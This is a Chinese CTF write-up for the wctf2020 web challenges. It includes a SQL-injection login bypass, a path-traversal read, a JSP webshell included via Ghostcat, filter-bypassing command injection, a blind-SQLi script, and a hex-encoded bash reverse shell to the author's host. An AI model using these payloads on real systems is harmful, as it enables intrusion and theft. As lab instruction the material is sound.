Author:颖奇L’Amore
Blog:www.gem-love.com
Checkin
考点:Recon
难度:简单
打开之后是个输入框,问Who’s the Author,题目描述可知题目作者为52HeRtz,审查元素修改maxlength和disabled后提交
提交得到了一个弹窗,是52HeRtz的博客,其他的经测试都不会验证成功,扫描题目也不再有可用信息
于是来到出题人博客,第一段flag直接查看网页源代码得到,第二段flag在出题人的某个文章中得到,拼起来得到flag:[email protected]_can_Can_@_can}
Admin
考点:万能密码、HTTP
难度:简单
打开之后是个登录框(前端很fine 下秒mine),构造SQL查询布尔值为true登录 测试过滤了空格等字符 不过无所谓:
username=admin&password=admin'or(1)#
登录后来到/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php
必须从本地访问
修改X-Real-IP绕过即可
用GET方式传一个参数ais, 值为520
用POST方式传一个参数wust, 值为1314
照做即可,然后:
你离flag已经很近了,网址给你了:4dz aste.ubuntu.com/p/ https://p Rqr cSf2
很明显是个paste页面,手工重组然后还原一下网址,然后访问得到:
d2N0ZjIwMjB7bjB3X3lvdV9rbjB3X3RoZV9iYXNpY18wZl9zcWxfYW5kX2h0dHB9
base64解码:wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}
CV Maker
考点:上传绕过
难度:简单
注册,登录,上传头像,找个可以正常显示的图片马并修改Content-Type(不然会被告知不是图片),上传getshell
flag:wctf2020{congratulation_upl0ad_to_getShe1llllll}
后来看了一眼代码:
$name = $_FILES['upload_file']['name'];
$ext = substr(strrchr($name, '.'), 1);
if (preg_match("/ph|htacess/i", $extn)) {
echo "illegal suffix!";
}else{
$img_path = 'uploads/'.md5($_COOKIE["_Hz"]).'.'.$ext;
$fn = "uploads/".md5($_COOKIE["_Hz"]).".*";
if (glob($fn)) {
$ffn = glob($fn)[0];
unlink($ffn);
}
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
if ($is_upload) {
echo '<div class="cc-profile-image"><a href="#"><img src="'.$img_path.'" alt="Image"/></a></div></br>';
}else{
echo '<div class="h2 title">'.$msg.'</div>';
}
这里:
$ext = substr(strrchr($name, '.'), 1);
if (preg_match("/ph|htacess/i", $extn)) {
echo "illegal suffix!";
}
出题人把$ext
打成了$extn
导致这个后缀黑名单直接不生效。后来问了下出题人,好像可能就是故意的
不然过滤了ph和htaccess,上传基本上无法被绕过了。
easyweb
考点:JSP、CVE-2020-1938幽灵猫文件包含
难度:普通
可以上传任意文件,上传后得到一个链接,点击链接就可以下载
测试发现此处存在任意文件读取,可以随意下载:
http://47.96.229.52:12121/download?file=../../../../../../../etc/passwd
但是因为不知道flag文件名,失败。
直接访问这个download页面,由报错得到路径:
Error
/usr/local/tomcat/webapps/ROOT/WEB-INF/uploads/null (No such file or directory)
包含以下web.xml:
http://47.96.229.52:12121/download?file=../web.xml
<welcome-file-list>
<welcome-file>/WEB-INF/views/index.jsp</welcome-file>
</welcome-file-list>
主页是/views/index.jsp,上传的文件保存在uploads/目录下,但是uploads不可访问,所以虽然能随意上传文件但是不能通过http直接访问得到。
幽灵猫漏洞不仅可以文件读取,还可以文件包含(某些PoC只能读取不能包含)。我们可以任意上传JSP木马并得知路径,只要通过AJP包含这个jsp就能执行里面的代码,就通过文件包含实现了RCE。
最开始弹shell弹了好几次都没弹回来,于是直接写了一个带回显的命令执行:
<%@ page import="java.io.*"%>
<%
int a;
out.print("Y1ng ");
Process child = Runtime.getRuntime().exec("要执行的命令");
InputStream in = child.getInputStream();
while ( in.read() != -1) {
a = in.read();
out.print((char)a);
}
in.close();
%>
上传,然后用ajpshooter包含:
# python3 ajpshooter.py http://47.96.229.52:12121/ 8009 /WEB-INF/uploads/81523052-cf61-46bd-af50-8eb10e898ffc.jsp eval
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
[<] 200 200
[<] Set-Cookie: JSESSIONID=5D0399FA21988BD12D830E953C8CDC29; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 56
Y1ng 命令执行的结果
通过ls知道flag的位置:/flaaaag/what_you_want
之后可以RCE来cat也可以直接用网站自带的功能把flag下载下来。flag:wctf2020{0h_you_are_amazing_babyyyy}
朴实无华
考点:Recon、最好的语言trick、MD5碰撞、简单bypass
难度:普通
打开题目啥也没有,丢进扫描器,发现fl4g.php
访问得到源码:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
一共三层绕过,思路清晰。
第一层:
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
需要绕过intval()
,由于intval()
可以处理的不仅仅是十进制,还有八进制、十六进制、科学计数法等。写个测试脚本:
<?
$a = $_GET['a'];
echo intval($a) . " ";
echo intval($a+1) ;
传入1e5,输出:1 100001,绕过成功
原因:
首先$a
是字符串所以intval()
返回了字母前的数字,也就是e前面的1
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
然后$a+1
进行了字符串与数字相加的运算,在php中,这种结果取决于这个字符串长什么样,就$a+1
来讲:
$a
数字开头、中间有其他字母,比如123y1ng,将$a
从字符串转数字,转换结果为开头的数字,实际运算为123+1$a
字母开头,比如y1ng,转数字结果为0,实际运算为0+1$a
是1e5这种科学计数法形式,先转成1×10^5也就是10000,再10000+1
所以输入了1e5,在进行加一之后,就从1变成了100001,绕过成功
第二层:
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
可见,需要穿进去一个字符串,然后和他自身的md5比较,如果弱相等则通过。
常见套路是找到0e开头后面都是数字的md5进行弱相等比较,因为他们被认为是科学计数法,而且0乘任何数都为0,得以绕过。但是本题目需要找一个0e+数字的字符串(不一定非要是md5一样的长度),然后md5它自身扔为0e开头。
查下百度没找到,所以自己写个脚本爆破:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#颖奇L'Amore www.gem-love.com
#转载请勿删除水印
import hashlib
for i in range(0,10**33):
i = str(i)
# i = i.zfill(33)
num = '0e' + i
md5 = hashlib.md5(num.encode()).hexdigest()
if md5[0:2] == '0e' and md5[2:].isdigit():
print('success str:{} md5(str):{}'.format(num, md5))
break
else:
print("trying {}".format(num))
跑了40多分钟,终于爆破出来了:
绕过成功
第三层:
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}
RCE,但是有两点:
- 不能有空格
- 不能cat
老套路了,空格用${IFS}绕过,cat用more等命令绕过
get_flag=more${IFS}`ls`
当然也可以弹shell:
echo${IFS}62617368202D69203E26202F6465762F7463702F67656D2D6C6F76652E636F6D2F313233353820303E2631|xxd${IFS}-r${IFS}-p|bash
flag:[email protected][email protected]_@_go0d_time_enj0y_1t}
颜值成绩查询
考点:布尔盲注
难度:普通
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#颖奇L'Amore www.gem-love.com #转载请勿删除水印
import requests
from urllib.parse import *
res = ''
alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
for i in range(1,100):
for char in alphabet:
# information_schema,ctf
# payload = "select/**/group_concat(schema_name)/**/from/**/information_schema.schemata"
#flag,score
# payload = "select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()"
#flag,value,id,name,score
# payload = 'select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()'
[email protected]_sq1_and_y0u_sc0re_1t}
payload = "select/**/group_concat(value)/**/from/**/flag"
payload = quote(payload)
url='http://101.200.53.102:10114/?stunum=2/(ascii(substr(({}),{},1))={})'.format(payload, i, ord(char))
r = requests.get(url)
# print(r.text[2473:2499])
if '666' in r.text:
res += char
print(res)
break
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/2176.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示
admin 中构造SQL查询布尔值为true登录这步是什么意思啊,web萌新
比如where password = ‘xx’ or 1=1,用or的话有一个True则true,1=1肯定true所以返回true
admin那一题 构造SQL查询布尔值为true登录 是什么操作啊,web萌新问一问